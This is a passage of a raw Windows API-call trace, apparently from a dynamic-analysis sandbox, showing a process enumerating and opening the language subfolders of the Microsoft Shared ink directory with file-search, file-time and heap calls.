ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0143.410] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0143.410] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0143.410] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0143.410] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.411] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.411] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x995a70 [0143.411] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.411] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.411] NtClose (Handle=0x198) returned 0x0 [0143.411] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.411] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.411] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.411] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.411] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.411] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.412] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.412] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994fe0 [0143.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993950 [0143.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.413] GetLastError () returned 0x12 [0143.413] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.413] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.413] GetLastError () returned 0x12 [0143.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.413] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.413] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.413] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0143.413] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.415] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.415] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x995a70 [0143.415] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.415] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.415] NtClose (Handle=0x1a4) returned 0x0 [0143.415] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.415] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.415] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.415] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.415] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.415] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.416] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.416] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.416] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x995000 [0143.417] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993a58 [0143.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.417] GetLastError () returned 0x12 [0143.417] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.417] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.417] GetLastError () returned 0x12 [0143.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.417] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.417] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0143.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.419] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.419] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.419] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.419] NtClose (Handle=0x198) returned 0x0 [0143.419] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.419] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.420] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.420] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.420] GetLastError () returned 0x12 [0143.420] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.420] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.420] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.421] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.421] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.421] GetLastError () returned 0x12 [0143.421] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.421] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.421] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.421] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, 